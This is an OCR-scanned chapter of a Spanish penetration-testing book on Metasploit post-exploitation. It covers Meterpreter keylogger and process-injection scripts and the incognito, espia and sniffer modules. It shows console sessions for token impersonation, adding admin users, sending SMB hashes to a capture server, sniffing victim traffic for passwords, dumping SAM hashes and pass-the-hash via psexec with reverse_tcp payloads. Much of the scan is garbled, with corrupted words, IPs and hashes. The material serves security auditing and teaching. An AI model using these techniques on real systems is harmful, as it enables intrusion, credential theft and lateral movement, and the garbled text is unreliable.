Lsie tipo deseripis propore pata arc ' doteclado
En otras palabras, se activa un keylogger en la maquina vuinerada. Como ejemplo se presentan lo
I Oas paiamras, se ac 4

oty

. ' ,
' g " . /W s/capture/lockout_keylogger:
scripls post/windows/capture/keylog _recorder y positwindows/capture _keyiogg

Los multi seripts |

E;g: jzz;li:zoi(:zvila ';;z\ra realiza varias operaciones a la vez. Comtnmente, se pueden enconiraj

los siguientes: | s commes o
- Multicommend. ¥ste script permite al suario p(?der lanzar distintos coxlac,“q“da "
ejemplo de Hindows, en una sola instruc.cmn. ff\'dfamas, se put':de glfnfce;,.a’r‘ 'OSMf, o,
cada comando en un fichero para su posterior .anahms. P'erm!t.e: eiecutar 'tam IE?I‘{ ;l 0 qda.s o
de aulemitizacién RC, lo cual ayuda a simplificar l.a ejeCl’lCIOI‘. de acciones ICL(ljll—?fCl o
anterioridad. in ejemplo de ejecucion de este SCrlpt‘ serfa run ,7-7?/116(”,7"1?” o
fe dir”, “ipconfie”, "<mis comundos>"", No debe ex:stf separacion enﬂue _os}, c:alida py
vy las cbmus. ya que el script se encarga de parsearlo. Bs posﬂ:le a'!n}a\,ena/rﬁ a i
Ia gjecncién en un fichero mediante el pardmetro ~f, un ejeixpp]() ‘fua mu.a.c(;)escargmd

el “<comendol>"! "<comandoN "> +f <ﬁchero Iocgl>. Dicho fichero se

automaticarueute por Meterpreter a la maquina del auditor,

- Mulli_console_command. Bste script es similar al antel‘ior, znuilicon'nna]rtd. L:;;:;;(C):
diferencia es que no dispone de la opcidn de almacel}ar en' }m 1:101}61'9 ta salida (?S. cg antjéua
qire se ejecutan en la maquina vulnerada, Por esta razon, esta considerado una versié |
de multiconmand. _ - |

- Multi_mefer_inject. Este script es 1'eal‘mente interesante y§ r.;r:re Ipern;ft; :l;ngzzt;;
Meterpré}ér'.s' e olres procescs de la méquuﬁm vult'lerz}da, y conﬁgmzm‘i1 0 airicsu;lizar o8
deben connclarse si la conexion es inversa. En la siguiente tabla se pueden vist

distinios pardmetros de este scripf.

Parémetro Descripeién S

-m Este parametro arranca el médulo exploit/multi/handler para la conexidn mvetsal.bl
Propotciona multiples PID para la inyeccion de Meterpreter, los PIDs ‘,:d_?‘b?ﬂ"ll

P separados por comas. ‘ =
Proporcicna multiples direcciones IP las cuales esperarz’m‘lam ‘colnexmn.

-mr

Dichas direcciones 1P deben ir separadas por comas.
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Pardmetre Deseripcion
-p Se especifica el puerto donde estan a Ia escucha Tos fandler
-pt Especilica el Melerpreier;, que por defecto es windows/melerpreter/reverse_icp.

Tabla 4.03: Parametros del sceipr multi_meter_inject,

meterpreter > run multi_meter 1hject -mp 668 -mr 192.168.1.40,197.786.1.41 -p 5455
[*1 Creating a reverse meierpreter stager: LHOST=192.168.1.40 LPORT=5555

1 Starting Notepad.exe to house Meterpreter Session.

+1 Process created with pid 268

[#] Injecting meterpreter into process ip 268

] Allocated memory at address 6x809a04508, for 290 byte stager

[*] writing the stager inte memory. ..

oot Successiully Injected Heterpreter in i process: 268

Fig 4.32: Ejecucion de andii _pieter_inject.

Tras lanzar e} script, si otro usuario o maquina se encontrase con un handler activo preparado
para recibir sesiones de Mererpreier se podria recoger tal y como sc observa en fa imagen.

payload => wmdows/meterpreter/reverse_tcp
lhost => 192.168.1.48

port => 5555

[*} Started reverse handler on 192,168.1.48:5555
{*) Starting the payload handler...

{*] Sending stage (752128 bytes) to 192.168.1.35

[#] Meterpreter session 1 opened {182,168.1,48:5555 -» 152.168.1.35:1163) at 2012-068-31 96:26':38
+8200
I

neterpreter > §

Fig 4.33: Obiencion de sesion de Meterpreter mediante lu utilizacion de multi_mete

i _inject.

- Multiscript. Este script permite ejecular disiintos scripts en una sola instruccién. La
sintaxis es idéntica a los anteriores.

4. Modulos de Meterpreter

Meterpreter dispone de modulos extra Que no se encuentran cargados al reafizar la explotacién.

Estos modulos affaden comandos a la sesién los cuales proporcionan mayor flexibilidad y potencia
al auditor en esta fase de post-explotacion.

Cuando se afiaden nuevos médulos a Meterpreter se puede utilizar el comando help para conocer

exaclamente qué nuevos comandos hay disponibles en la sesién interactiva del payload., En cste
apartado se estudiaran los siguientes médulos:

Espia. fste médulo proporciona funcionalidades para realizar capturas de pantalla.

- Incognito. Este modulo proporciona funcionalidades con las que el auditor podra ir

impersonalizando usuarios, ¢ incluso administrar los usuarios reales que existen en la
maquina vulierada.

i ionali : jtor podia comprobar
- Sniffer. Este médulo proporciona funcionalidades con las que el auditor 1)031?'1 comy o
" ' 4 H . o . T er e
y aprovechar ¢l entorno de red de la méquina vulnerada. Por ejemplo, se podra conoc
entorno de red y el trafico que circula por éste de dicha miquina.

‘ i : joad Vambién se podria

Para la carga o ulilizacién de dichos modulos se dispone del comando zoc/dJ ambién se podris
. 10 v o 3150,
utilizar el comandao use, ya gue realiza la misma funcion, pero se encuentra €n 0csuso

i L

i elve un fistado do los modulos
¢ informacion de usc del comando. Bl segundo en cambio devuelve un listado de los imody
digponiblés para ser catgados en Melerpreter.

i i smetro -1, Bl primero proporeiona ix ayuda
it comando lead dispone de dos pardmetros, que son —h y -1, El primero prop @ fu ay

heterpreter » load -1 PFiV
%&S;;f:; reter > lo Pty x64

+ s =

i i sniffer
i-sxgggr‘uxigi sniffer, xo4
H1W [P AR ) y
incognito.x64 :tg:gi -
Lanattacks dapi. G
Lanattacks.x64 meterpreter > §

ftig 4.34: Listado de médulos para la carga en Meterpreter.

¥ .

Modulo: Espia _ ) o

Para cargar el modulo espiu se utiliza la siguiente instruccion en una sesion de Meter prefer It ;
) M oy - RAEPRRTIOT .y ,l C

zspia. A continuacion, si se ejecuta help se puede obtener el listado de comandos gue proporcion:

A . i ) e ' ' 5 , '

nuevo modulo cargado. En este caso, el médulo espia proporciona un 5910 comando.

i y antal @ maquina vulnerada.
El comando screengrab permite al auditor obtener capturas de pantalla de Ja ‘maqmnd Jiln ])S‘O
L ncion: ili i ravés de ros comand
Esta es una funcionalidad que ya se ha utilizado en este libro a través del uso de _ol.lols co )I(U(;jonea
¥ A P artar i Has s 5
seripts. Bl médulo espia debe ser visto como un médulo que debe implementar distintas s«L rones
‘ ' : icrd cétera. Ac aresents dichas
para realizar capturas de teclado, microfono, webcam, etcétera. Actualmerite, no presents
funcionalidades.

eterpreter > screengrab -h ) - ‘
usage: screengrab <path.jpeg> [view in browser: true|false]

Grab a screenshot of the current interactive desktop.

neterpreter > § -
Fig 4.35: Ejecucién de screengrab sobre miquina vulnecada.

Modulo: Incognito e
£1 mddulo incognilo es uno de los mas interesantes, ya que simplifica mucho la labor de g

4 ' se debe ciecutar la signiente
de usuarios y la impersonalizacion de éstos. Para cargar el médulo se debe ejecutar 1o (
instruccion load incognito.
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fncegnito Commands
Command Description
add_group_user Attempt to add a user to a global groug with all tokens
add_ Yocalgroup_user Attempt to add a user to a local froup with all tokens
atii_user Attempt to add a user with all tokens
impersonate_token Impersonate specified token
iist_tokens List tokens available under current user context
snart phashas - snarf challenge/response hashes for every token

Fig 4.36: Comandns aportados por el madulo ncognito,

it comande add_group _user permite afadir de manera sencilla un usuario de f maquina vulnerada
awun grupo global deferminado,

La sintaxis del comando es sencilla: add_group_user <nombre 8rupo> <usuarip>,

i:t comando add _localgroup_user permite afiadir un usuario a un grupo local determinado. Sy
ejeeucion logica seria, tras la creacion de un usvario en fa méquina vulnerada, vtilizar este comands:
para aftadic un nsuario af grupo administradores. De este modo, ya se tendria un usuario para seguir
con 1a auditoria con fos méximos privilegios en Ia méquina vulnerada.

La sintaxis del comando es add_localgroup_user <nombre grupo> <usugrio>.

Bl comando ade_user nermite la adicién de un usuaric a la maquing vulnerada. I3l objetive ug
realmente claro, y congiste en disponer de un usuario en esa maquina del cual se conozean fu
credenciales y poder acceder asi en cualquier momento,

La sintaxis de! comando es add_user <usuario> <contrasefia>,

L comando impersonate_token proporciona Ia posibilidad de suplantar cualquier foken del sistema.
Is realmente 4l para elegir qué usuario o servicio se quiere ser en un momenio dado de la fase
de post-explotacion. La sintaxis es la siguiente: impersonate_token <token>. Donde loken esta
compuesto por <nombre maquina>\\<usuario o servicio>. Hay aue recalcar I doble barrg invertids
para que Meterpreter lo identifique como una sola barra invertida,

Server username: NT AUTHORITY\SYSTEM
meterpreter > inpersonate_token PRUEBAS - 81768CC\\hacked
[+] Delegation token available

i1+] Successfully impersonated user PRUEBAS-01768CC\hacked
meterpreter >

neterpreter > getuid ' i

Vg 4.37: Impersonalizando token con el comando impersonate_token del méduly incognito,

Bl comando list_tokens permite listar y enumerar Jos usuarios y grupos que existen en el equipo
vulnerado. Para listar los usuarios se debe ejecutar la siguiente instruccion ist_tokens —u, mientras
que para el listado de og Brupos se debe ejecutar esta otra: Jiss tokens —g.
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fﬂg_tgmreter > list_tokens -u

" Pelegation Tokens Available

T AUTHORITY\Servicio de red
NT AUTHORITY\SERVICIO LOCAL
NT AUTHORITY\SYSTEM
PRUEBAS-81760CC\hacked

jimpersonation Takens Available

T AUTHORTTY\ANONYMOUS LOGON
terpreter > list_tokens -g

Pelegation Tokens Available

Todos .
UILTIM\Administradores
BUILTIM\Uisuarios

T AUTHORITY\Servicio de red
T AUTHORITY\SERVICTO LOCAL
PRUEBAS-B1766CC\Ningune

Impersonation Tekens Available

0 tokens available

Fig 4.38: Listando rokens de la maquina valnerada,

H N A3 : ¥ M d r ( 3 J
El comando snar/ hashes permite capturar los hashes de sesiones SMB, su sintaxis es snarf hashes
<host>. .

PoC: Recuperando hashes SMB con snarf_hashes '

Iin esta prueba de concepto el auditor intentara utilizar snarf_hashes para provocar el reenvio dg les
hases a wavés de una conexién SMB. Para ello el auditor implementard un servidor SMB me_dlante
el médulo auxiliarviserver/capture/smb. Bste servidor recibird los hashes del usuario con sesidn en
curso en la maquina remota,

st exploit(msgt 067 netapi) > use auxiliary/server/capture/smb
ng auxiliary(smh) > show options
fodule options (auxiliary/server/capture/smb):

Name Curcent Setting Required Description

a;h—lPWFILE ............... ;ln The local filename to store the hashes in CainAbel fo
e The 8 byte challenge

EMGE  1122334455667788 yes e
gga:;:;h‘FILE xo The prefix to the local filename to store the hashes i
HN format ‘ .

[ JchHG'ST 6.0.6.6 yes The local host to tisten on. This must be an address o
t the lucal machine or 6.0.9.9

SRVPORT 445 yas The local port to listen on.

55L false no Negotiate SSL for incoming connections .

ssLCert no Path o a custom SSL certificate {default is randomly

nerated
a SSL‘leriion S5L3 no Specify the version of SSL that should be used {accept
ed: S5L2, SSL3, TLS1)

Fig 4.39: Configuracién del médulo auxiliary/server/capture/smb.
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Es importante configurar el médulo correctamente, ya que-en caso contrario o se podran obtener las
credenciales de esta forma. Bl servidor dispone de unas opciones interesantes como son la creacion
de ficheros para herramientas como Cain, y uno de los més famosos crackeadores John the ripper.
En la prueba de concepto se configura para que se capturen los hashes y udemas se creen archivos
compalibles con estas herramierilas para su posible crackeo més adelante.

auxiliary{smb) > set CAINPWFILE /root/cain. cap
CAINPUFILE => /root/cain.cap

st auxiliary(smb) > set JOHNPWFILE /roet/john. cap
JOHNPWFILE => /root/john. cap

nst  auxiliary(smb) > set SRVHOST 192.166.0.60
SRVHOST => 192.168.8.66

sl atxiliary(smb) > run

[*1 Auxiliary modyle exscution completed

[*] Server started.
msf auxiliary(smb) > sessions -i 2
[*] Starting interaction with 2...

Fig 4.40: Ejecucion def médulo auxiliarylserver/capture/smb.

Una vez se configura el servidor SMB se debe volvera la sesion de Meterpreter donde se ejecula el
comando snarf_hashes, siempre y cuando el médulo incognito se encuentre cargado. Bl comando

snarf_hashes se debe ejecutar apuntando a la direccion 1P dénde se debe enviar la informacién con
los hashes. ‘

meterpreter > snarf_hashes 192.168.9.60
{*} Snarfing token hashes..,

i

*] SMB Captured - 2812-68-31 12:36:10 +8200

Livl Response Captured from 192.168.6.59:1167 - 192.168.8.59

USER:hacked DOMAIN:PRUEBAS-81766CC 0S:Windows 2002 Service Pack 3 2600 LM:Windows 2862 5.1
LMHASH: 78356c3e4l:835a3a16ece91cd6f248402f85252cc731bb25 :
NTHASH:5b4e9c495d0f39'f3969c9a24aad7c9b71cb7a99893f64f6b

[*1 Done. Check sniffer logs
meterpreter >

Fig 4.41: Obtencién de hashes sobre el usuario con la sesidn en curso.

Médulo: Sniffer

Este modulo afiade funcionalidades de red a la maquina vulnerada. El auditor podr realizar capturas
de red a través de la maquina remota. Ademds, se podrdn gestionar las interfaces y conocer mejor de
esta manera el entorno de la red en la que se encuentra la méquina vulnerada. Un ejemplo interesantc
es la posibilidad de que dicha méquina vulnerada disponga de varias interfaces, ¢ incluso, que esié
conectada a un segmento de red, a Ia que g priori, el audilor no tenga conectividad. De este modo,

se puede llegar a segmentos de red que antes no se podfa. El modulo smiffer tiene una serie de
comandos, tal y como se puede ver en la imagen.
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Command Description

sr—liffer dump Retrieve captured packet data to PCAP file

sniffer_interfaces Enumerate all sniffable network 1r_1te1_'faces ) v o

sniffer release Free captured packets on a specific interface instead of downloading the
" - . .
1] o ‘

sniffer start Start packet capture on a specific interface

sniffer stats View statistics of an active capture

sniffer stop Stop packet capture on a specific intertace o

Vig 4.42: Listado de comandos que proporciona el médulo sniffer de Meterpreter:

iteomando sniffer_interfaces especifica mediante un ideatificador los adaptadores de red disponibles
en fa méquing vulnerada. Tras In ejecueion del comando se obtiene un listado con los adaptadores,

£l comando suiffer siert arranca un seiffer en la maquina vulnerqble y pcz'n'nw.'ob(en%‘“_Lodu e
trafico de red que pasa por dicha interfaz en J]a maquina remota. La sintaxis es seucitle: sniffer st
<interfaz de red> <buffer>, donde buffer puede ser un ntimero de 1 a 200.000.

El comando sniffer_stop permite detener el suiffer en la méquina remota, pero la informacidn que
. A . i ., . ‘. S S, R
se encuentra en el buffer no se pierde. Ahora el audiior deberia elegir entre descargar lo capturado o

liberar el buffer. La sintaxis es sencilla: sniffer stop <interfaz de red>.

Ef comando sniffer chimyp permite descargar el contenido del buffer, es decir las capiuras que se i‘n?n
realizado, a un fichero PCAP. Esta utilidad es realmente interesante y se puedc lograr informacion
valiosa a través de ella. La sintaxis es la siguiente: sniffer_dump <interfaz de red> <nombre archive
PCAP>,

[neterpreier > sniffer_dump 1 wee.pcap ) .
{*] Flushing packet capture buffer for interface 1...
{*] Flushed 387 packets (59962 bytes) :
{#] Downloaded 168% ({59902/59982)...

[*] Download completed, converting to PCAP...

(¥} PCAP Tile written to wee.pcap

meterpreter > §

Fig 4.43: Descarga del contenido de! buffer del sniffer configurado en la maquina vulnerada.

Bi comando sniffer_release permite eliminar el contenido del buffer de la méquina vulnerada.. La
sintaxis es la siguienle: sniffer_release <interfaz de red>.

El comando sniffer_stats proporciona la posibilidad de visualizar las esladis%icas de la interfaz
seleccionada. Con este comando se puede visualizar informacion como ﬁ?l nimero de paqueles
capturados, y el tamaflo de la captura. La sintaxis de este comando es, similar a las anteriores:
sniffer_stats <inlerfaz de red>.

PoC: Espiando la red de la victima . ) |
En esta prueba de concepto se utilizara el médulo sniffer para realizar capluras de.u:aﬁlco de la red
donde se encuentra la maquina vulnerada. Después, se procedera a realizar un andlisis de la captura



de trifico pars poder visualizar informacion interesante, como por ejemplo, cookies, credenciales de
protocolos no seguros, archivos mediants sy recoastruccion, elcdiers,

FE punto de patida es una sesién de Merterpreter 1a cval el
realizado ta eaplotacion en la fase previa, A conting
escenario:

auditor ha obtenido una ve Gue ha
acidn se detailan ias miquinas y los roles de g

it auditor dispone de una maquina con BackTrack 5.

La miquina vuinerada ejecuta un sistema operativo Windows XP SP3.

El usuario victima realizard conexiones a v

arias paginas de Iniernet. Ademas, inleniard
loguearse en un servicio de FTP.

Lo primer lugar el audiior ejecuta el comands lond sniffer, para cargar dicho médulo en I SESiCGH
de Meterpreter. Después, gjecuta el comando sniffer_interfaces para comprobar qué inferfaces
hay disponibles en ia maquina vulnerada, Generalmente, se encontrard con una tnica interfaz con

conexion a una red, pero puece haber sorpresas y encontrarse una méaquina con varias interfaces,
cada una a un segmenio distinto de red.

Tras listar las interfaces de red, se debe lanzar el sniffer en la miquitia vuinerada. Para elio, se
ejecuta la siguiente instruccion:, saiffer_start <interfoz de red>. Bn estos momenios todo e trifico
que pasa por la maquina vulnerada estd siendo capturado en remoto,

neterpreter > sniffer stari 1 155008
[*] Capture started on interface 1 (186609 packet butfer)
meterpreter » snifter stats :
i-1 Usags: sniffer stats [interface.id}
meternreter > sniffer stats 1
i*] Capture statistics far interface 1
packets: ¢
bytes: @
meterpreter > sniffermstats 1
[*] Capture statistics for interface 1
packets: 423
bytes: 269734
meterpreter >

Fig 4.44: Ejecucion del sniffer en remotu,
Eneste instante el auditor debe esperaruntiempo a que la victima genere suficiente tréfico interesante,
Puede ser que la muestra que el auditor recoja no tenga informacioén sensible comprometedora,
pero sf I sirve para entender y conocer todos las protocolos que se estdn utii izando en esa red.

Después de esperar un tiempo, se procede a la detencién del sniffer v a la descarga del archivo
PCAP que se genera por el trafico de la red. Bn realidad, no es imprescindible detener e sniffer, se

puede descargar of archivo PCAP y seguir capturando trafico. Este hecho es interesante para pocer
segmeniar todo el trifico en distintos ficheros,

Una vez que se dispone del archivo PCAP enlam

aquina del auditor se procede a su andlisis, En esta
prucba de concepto se buscara trafico 1

TTP, ¥TP y alguna imagen que la victima haya visualizado,
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Para ello, se utilizard la herramienta Wireshark, aunque existen otras herramientas que automatizar
el proceso da blisqueda de esta informacién.

meterpreter > sniffer stop %
I+] Capture stopped on interface 1 o
[*} There are 2458 packets {1582828 by?es) remaining o
[*] Downlvad or release them usin% :znlffer_dump’ or sniffer_release
meteroreter » sniffer_dump metesploit.pcap
??}hUsaBE? snifferadumg {in§erf2ce~{d!t[pcap~file]
sterpreter » sniffer_dump 1 metasploit.pcap
?gigifushing packet capture buffer for interface 1...
f{*] Flushed 2458 packets {1631988 bytes)
[*] Downlonded 032% {524288/1631958). ..
{*] Downloaded ©64% {1048576/1631988). ..
i+ Duwnleaded 096% (1572854/1631988?...
[#1 Downlcaded 100% (1631988/15?1988:...
1#1 bownicad completed, conuer&xng tec PCAP, ..
[*] pcAP Tile written to metasploit.peap
acteroreter »

Fig 4.45: Parada del sniffer y descarga del archivo PCAP resultante.

M 1A ‘ 5 14, oy ypede b HH A o o !

3e procede a la apertura de ia aplicacion Wireshark y el archivo PCAP. Se utilizarén los filtros C(i
ie In i ANy s " o a Sfien FIT 3

Wireshark para realizar fas bisquedas de ia informacién interesante, en este caso el trafico HTT P.'E :
) ‘ . 3 Gasxl ) s t . s PR . " . . ¥ n 'll'llco
filtro aplicado serd “HTTP contains “password””,y se puede apreciar como se .ﬁ!tra to;lo au ll
paquete. En la imagen se puede visualizar como aparece ia contrasefia y el usuario en texto plano.
vl .

T N G P s S Y e T AT T TV T T e
hitp contains "password”

oitHefl

FFig 4.46: Busqueda de credenciales en HTTP a través del archivo PCAP.

A coutinuacion se realizard la misma accién con credenciales de FTP y Ia busqueda de iméagenes. En,
primer lugar el filtro para el protocolo FTP es “FTP contains PASS™, también seria vélido el filtro
“FTP contains USER " para la bisqueda de usuarios.
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-| PASS 123abc\r\n
Request command: pAss
Request arg: 123abe

Fig 4.47: Busqueda de credenciales e FTP u través del archivo PCAP.

I4’a1 ala busg ue’da de imdgenes, por ejemplo GIF, existen filtros. ] filtro que se utiliza para capturir o
recoger las imagenes es image-gif”. Una vez que se encuentre | imagen deseada se puede exportar

a.b,'ylefv, donde ¢l usuario debera elegir {a extension que se quiere dar al archivo, tal ¥ como puede
visualizarse en la imagen,

Appty-ais

Prépaie g

¥

Export Salected Par;ketq ;

8\
Wiki

[ Version

Version: GIF89a

Screen width: 3p

Screen height: 159 !
{#) Global settings: (Global color table present) (788

Background coler index: 255

Global color map: T5da8bfcebess86a6a9594956783 . o

Fig 4.48: Bisqueda de imagenes y exporiacién,
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5. Pass the hash

Hoy en dia, lus empresas.y grandes organizaciones utilizan la misma lécnica para recordar las
credenciales y la repeticion de éstas. Es realmente interesante observar como en un departamento
con muchas maquinas, la cuenta de administrador tiene unas credenciales iguales en todas éllas.

iPor qué se repilen? Es ficilmente entendible que si se disponen de 1000 maquinas, proporcionas
1000 contraseiias dc administrador distinias y poder lievar un inventario no serfa tarea sencilla.
También hay qus visualizav {a otea parte del asunto ¥ €8 que serfa viable utilizar distinias cuentas
de administrador en funcion del departamento, por ejemplo. Otra accion no recomendable serfa
asignar cuentas de admin istrador con contrasefia ascendente. En definitiva es un problema complejo,
y una de las soluciones mas utilizadas es Ja asignacion de credenciales administrativas distintas por
departamento, con un responsabie sobre dicha credencial.

Pass the hash o “impersonalizacién de usuarios™ proporciona al auditor la posibilidad de conociendo
el hash de la coutrasefia de un usuaric acceder a los recursos (e otras miquinas con la identidad de
dicho usuario. Logicamente, para acceder a dichos recursos el usuario debe tener permisos en dichas
mdquinas, pero como se ha comentado anteriormente, si se vulnera una maquina y se obiiene el
hash del usuario administrador es muy probable que se pueda acceder a otras maquinas, ya que los
administradores de dichas maquiras suelen tener la misma credencial.

Muchos administradores piensan que fortificando su credencial con alfanuméricos y gran longitud de
caracleres se evita un crackeo del hash. Este hecho es practicamente cierlo, ya que realizar eracking
de una contrasefia con alfanuméricos y gran longitud podria llevar bastante tiempo. Aunque miés
adelante se estudiard que en realidad depende del formato del hash.

En definitiva, la impersonalizacién persigue la manipulacion de los datos de autenticacién en un
sistema operativo Windows, con el fin de acceder a otras maquinas que dispongan de un mismo
usuario con un mismo hash, es decir la misma confrasefia, que en fa maquina de la que se parle.
Un ejemplo en una auditoria seria, tras fa vulneracion de una méquina en la fase de explotacion,
conseguir los hashes y usuarios de dicha maquina, por ejemplo el de administrador. En este punto se
puede intentar impersonalizar los usuarios o el usuario contra otras maquinas que se encuentren en
la red de la empresa. Mediante esta técnica también se puede impersonalizar usuarios de.un dominio,
e intentar Hegar al administrador del dominio.

Es interesante obtener el hash de un administrador porque se podran utilizar recursos como
C$, admin$, etcétera. Por otro lado, también se pueden utilizar herramientas como PSTools de
Sysinternals para ejecular procesos en remoto con dichas credenciales, por ejemplo, una shel}.

Teoria de credenciales Windows

Las contrasefias en Windows se encuentran almacenadas en un fichero denominado SAMen la ruta
Yowindir%\system32\config. En este fichero se almacenan las contrasefias cifradas con una {uncion
hash unidireccional. Este hecho implica que una contrasefia en texto plano se convierta en un cifrado
0 hash, pero el proceso inverso no existe por lo que no es posible descifrar la contrasefia. ;Realmente
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no se prede doscifrar? La respuesta es no, pero si que es factible realizar comprobaciones hasla
encontrar la contraseiia, es decit un proceso de fuerza bruta, St pueden ir creando palabras en texio
plano, pasarlas mediante la funcién hash a su equivalente cifrado y comprobar si el resultado es
igual al que estd almacenado en el fichero SAM. Siel resultado de la comparacion fuese idéntico se
habirfa descubierto el valor en texto plano de la contrasefia cifrada.

La estructura del fichero SAM se compone de ia cuenta de usuario, ¢l identificador de éste y de las
dos versiones de hash de los sistemas Windows, LM y NTLM.

L.an Manager (LM)

Es el primer hash de ios sistemas Windows para almacenar las credenciales en un fichero v fue
introducido en versiones previasa Windows NT. Este aigoritmo de cifrado esta consicerado obsoleio
¥ ne seguro, y s6lo se implementa en fos sistentas modernos por temas de compatibilidad con log
sistemas operativos antiguos.

Bl funcionamiento de LM, e implicitamente sy debilidad, se detailan a contintacién;
La contrasefia ASCII del usuario se convierte a mayUsculas.
- Esta contrasefia utiliza 14 bytes.
- Lalongitud fija de esta contrasefia se divide en dos bloques de 7 hyres.
- Secifra con DES los dos bloques, creando dos bloques de 7 bytes cifrados.
- Se convierten los hyfes en un ftujo de bits y se inserta un bit nulo después de cada 7 bits,
generando los 64 bits necesarios para una clave DES, pero sélo 56 hits de éstos son necesarios
- El'modo de cifrado de DES es configurado en BCB y el padding es nulo,

- Los dos bloques cifrados son concatenados dando lugar a 16 bytes de! hash LM.

Hay que recalcar las debilidades en este proceso. El maximo valor de caracteres que puede tener una
clave y su posterior cifrado LM son de 14 caracteres, pero como se ha mencionado anteriormente,
la contrasefiz se divide en dos bloques cifrados independientes. Este hecho hace pensar que se
puede realizar un proceso de fuerza bruta sobre una contrasefia de 7 caracteres, lo cvai simplifica
mucho dicho proceso, sobre todo referente al tiempo. Incluso hay més detalies negativos acerca del
algoritmo, como es que, al principio la contrasefia de! usuario es convertida a maytgeulas lo cual
implica que el charset o espacio de caracteres posible disminuye considerablemente.

NTLM

Es el sucesor de LM, proporciona mayor robustez y seguridad que el protocolo de autenticacion LM.
NTLM dispone de una evolucion como es NTLMv2 el cual se introdujo en Windows NT 4.0 SP4,
compalible de forma nativa con Windows 2000 mejorando la seguridad de NTLM. Se consiguio
endurecer el protocofo contra ataques de suplantacion y se afiadié la posibilidad de utilizar un
servidor para autenticar al cliente, '

PoC: Llegando mas lejos gracias a la suplantacién de identidades
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Bl proceso de cracking de este tipo de protocolo de autenticacion provoea Un aumento exponenci
dei tiempo, sobretodo si se utilizan mas de § caracteres, mezclando maydsculas, mintisculas,
nimeros y caracteres especiales. ‘ ‘

1
Funcionamiento de la validacién de credenciales ‘
Las credenciales se encuentran en memoria, hay que recordar que ia contrasefia nunca se encuentra
en texto planv y si en formato hash, o en algunos casos en una codi‘ﬁcacién senctlls, Las credencialed
son almacenadas e el proceso LSASS.EXE, este proceso se encarpa de administear 'a autenticaciéy
de deminios de avtoridad de seguridad local y el directorio activo, Para un proceso de suplantaciéu
de identidad se quiere sustituir las credenciales en memoria por las que interesa suplantar.

{

En la fase de inicio de sesién interactivo, el proceso WINLOGON. EXE es el éncmgado de interceptar
el procese de validacion del teclado. B anterior proceso le devuelve a LSA el procedimiento de{
validacion. Cuando se valida al usuario se produce la invocacian de LSALogonUser para autenticar,
en la base de datos SAM (local o remota}, permitiendo crear la sesidn si se autenticd correctamente,
Esta informacion serd utilizada por LAN Manager y otros servicigs cuando el usuario intente acceded
d recursos remotos, objetos iocales v al utilizar sus erivilegios,

£} escenario que se propone en esta prueba de conceplo es ef de'un auditor que se encuenira en la
fase de post-explotacion, ya que ha consegnido acceso a una méquina de la fed de una empresa que
esta auditando. La méquina vulnerada no es una méquina, aparentemente, relevante, pero al parecer.

- varios de los usuarios que se encuentran en dicha maquina también existen en otras maquinas de la

red. A continuacion se dan mas detalles del escenario:

- Elauditor dispone de una maquina con BackTrack 5, » .
- La miquina vulnerada por el auditor tiene como sistema operativo Windows XP SP3,

- Laméquina a la que se quiere acceder es un Windows 7.

El punto de partida es la sesién de Meterpreter que tiene el auditor en la méquina vulnerada Windows
AP §P3. Mediante el uso del comando hashdump se puede obtener el listado de usuarios con los
hashes LM y NTLM., ;

meterpreter > hashdump

Administ rador:590:8735172c3a77d2c68ad3b435b514e4ee:512b99609997c3b5588cafacheae%Q: v
Asistente de ayuda:1990:317dd9337ea2d549dc6743cd7ee77792:e1ec1bc581f420f3a69570442879955d: iy
hacked:1065:6735172c3a77d2c6aad3b435b514e4ee:512b99999997c3b5588cafac9ceae969; B
Invitado:501:aad3b435b51404eeaad3b435b514@4ee:31d6cfeedlﬁae931b73t:59d7e9€989ce: vy
jose:1804:8735172¢3a77d2c6aad3b43505 1484ee:512h99009997c3b5588catacdcoaedtn: |,

pepe: 1003 8735172C3a77d2c68ad3b435b51494ee:512b99699997c3b5588cafac9c638959: ] .
SUPPDRT_38894539:1002:aad3b435b514(-)4eeaad3b435b514e4eef3cb0d396lc43889788bcc9449e‘]25954: H

meterpreter > § .

Fig 4.49: Obtencién de los usuarios ¥ hashes mediante una sesién de Meterpreter
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‘Bn la imagen se puede visualizar como los hashes de los usuarios administrador, hacked o pepe son
ldenucos ¢Por qué ocurre esto? Es senciilo, las conlrasefias de esos usuarios en texto planc son las
‘mismas. Olra de las debilidades de estos algoritmos es que no utilizan semilla o challenge que hagan
«que la misma contrasefia tenga distinto hash.

tLa ruta del exploit para impersonalizar se encuentra en exploit/windows/smb/psexec. Este médulo
’dispone de las variables que se especifican a continuacion:

) Variable Descripcitn
i RHOST Direccidn 1P de la mdquina a la que se quiere coneclar para impersonalizar un

usuario.

 SHARE Recurso al que se quiere conectar.

SMBDomain | Dominio para la antenticacion.

SMBPass Password en formato hash <LMHASH><NTLMHASH>

SMBUser Usuario al que se quiere impersonalizar.

Tabla 4.04: Variables dei modulo exploit/windows/smb/psexce.

Hodule options {exploit/windows/smb/psexec):

Name turrent Setting Required fescription

RHOST yes The target address

RPORT 445 yes Set the SMB service port

SHARE ADMINS yes The share to connect to, can be an admin share (ADMINS,
C$,...} or a normal readswrite folder share

SMBuomaln VIGRKGROUP no The Windows domain to use for authertication

StigPass no The password for the specified username

SHtser no The username to authenticate as

Exploit target:

Id  Nawme

8  Automatic

msf exploit(psexec) > set RHOST 192.168.1. 37

RHOST => 192.168.1.37

msf exploit{psexec} > set SMBPass B8735172c¢3a77d2cbaad3b435h51404ee:512h99009937¢3b5588catac9ca
969

SHBPass => 8735172c¢3a77d2chand3ba35h51404ee:512b39669997¢3b5588calacdcoaedts

msf exploit({psexec) > set SMBUser administrador

ShBlser => administrador

msf exploit{psexec) >

Fig 4.50: Configuracion del modulo exploitiwindows/smb/psexec.

k - . . -
Se puede configarar, mediante la variable PAYLOAD, un payload distinto que Meicrpreter, pero
para estd prueba de concepto se utilizard windows/meterpreter/veverse_icp. Si no se especiiica
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payload, autométicamente se inyectard Meterprefer. Tras obtener una suplantacion de Usuario
automaticamente se gjecula e} payload en la maquina remota. o

mst exploit(psexec) > expioit e

[+] Started reverse handler on 192,168.1.46:4444

[*1 Cennecting to the server...

[*] Authenticating to 192.1&8.1.41:445]%0RKGROUP as user ‘Administirador'...

1#] Uploading payload..

1%} Created \wMiBgPoM, exe

{*} Binding to 367abb8l- 9844 35f1-ad32-98f0386016863:2.8@ncacn np 192.168.1.41{\sveatl] |

{*1 Beund te 367abb81-9844-35f1-ad32-98036001863:2.6@ncacn_np:192.168.1.41[\svectt] . |

{+] obtaining a service manager handle..

